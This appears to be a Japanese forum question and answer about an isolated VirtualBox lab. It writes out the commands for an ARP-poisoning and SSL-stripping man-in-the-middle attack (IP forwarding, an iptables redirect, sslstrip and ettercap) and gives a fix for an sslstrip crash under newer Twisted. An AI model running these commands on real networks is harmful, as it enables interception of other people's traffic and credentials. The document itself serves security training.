VirtualBoxで3つのVMを実行しています。 3つのVMはすべて、IP 192.168.56.1/24のVirtualBoxから作成された仮想ネットワークに接続されています。
すべてのVMが構成されているHost only Adapter
OWASPの壊れたWebアプリケーションをホストする1台のLinux Webサーバー:192.168.56.3
Webサイトにアクセスするクライアントである2つのWindowsマシン:192.168.56.5
3中間者攻撃を実行するKali Linuxマシン:192.168.56.4
これが私がしたことです。
sslstripが開始されます
最初のsslstripが開始されます。
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sslstrip -l 8080 --favicon --write=/root/Lessons/sslstrip/sslstrip.log
ettercapが開始されます
ettercap --mitm ARP:REMOTE --quiet --text --write ~/Lessons/ettercap/ettercap.log --iface eth0 /192.168.56.3// /192.168.56.5//
出力
Scanning for merged targets (2 hosts)...
* |==================================================>| 100.00 %
2 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : 192.168.56.3 08:00:27:FE:F6:AC
GROUP 2 : 192.168.56.5 08:00:27:E6:E5:59
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
次に、Windowsクライアントブラウザからホームページにアクセスします192.168.56.3/
正しくロードされます。
次に、リンクの1つ、Mutillidae IIをクリックします。
これにより、sslstripでエラーが発生します。
Unhandled Error
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/twisted/python/log.py", line 103, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/local/lib/python2.7/dist-packages/twisted/python/log.py", line 86, in callWithContext
return context.call({ILogContext: newCtx}, func, *args, **kw)
File "/usr/local/lib/python2.7/dist-packages/twisted/python/context.py", line 122, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/local/lib/python2.7/dist-packages/twisted/python/context.py", line 85, in callWithContext
return func(*args,**kw)
--- <exception caught here> ---
File "/usr/local/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 614, in _doReadOrWrite
why = selectable.doRead()
File "/usr/local/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 243, in doRead
return self._dataReceived(data)
File "/usr/local/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 249, in _dataReceived
rval = self.protocol.dataReceived(data)
File "/usr/local/lib/python2.7/dist-packages/twisted/protocols/basic.py", line 579, in dataReceived
why = self.rawDataReceived(data)
File "/usr/local/lib/python2.7/dist-packages/twisted/web/http.py", line 649, in rawDataReceived
self.handleResponseEnd()
File "/usr/local/lib/python2.7/dist-packages/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
HTTPClient.handleResponseEnd(self)
File "/usr/local/lib/python2.7/dist-packages/twisted/web/http.py", line 612, in handleResponseEnd
self.handleResponse(b)
File "/usr/local/lib/python2.7/dist-packages/sslstrip/ServerConnection.py", line 131, in handleResponse
self.client.setHeader('Content-Length', len(data))
File "/usr/local/lib/python2.7/dist-packages/twisted/web/http.py", line 1314, in setHeader
self.responseHeaders.setRawHeaders(name, [value])
File "/usr/local/lib/python2.7/dist-packages/twisted/web/http_headers.py", line 220, in setRawHeaders
for v in self._encodeValues(values)]
File "/usr/local/lib/python2.7/dist-packages/twisted/web/http_headers.py", line 40, in _sanitizeLinearWhitespace
return b' '.join(headerComponent.splitlines())
exceptions.AttributeError: 'int' object has no attribute 'splitlines'
アドレスバーにhttps
を手動で配置した場合、このエラーは発生しません。ただし、SSLストリッピングは発生しません。
Twisted 19.2.0以降、ヘッダーの値はバイト文字列であることが期待されていますが、SSLstripによってTwistedに渡される 'Content-Length'ヘッダーの値はlen(data)
であり、これは整数です。したがって、len(data)
をstr(len(data))
に置き換えると、
File "/usr/local/lib/python2.7/dist-packages/sslstrip/ServerConnection.py", line 131
それはトリックを行う必要があります。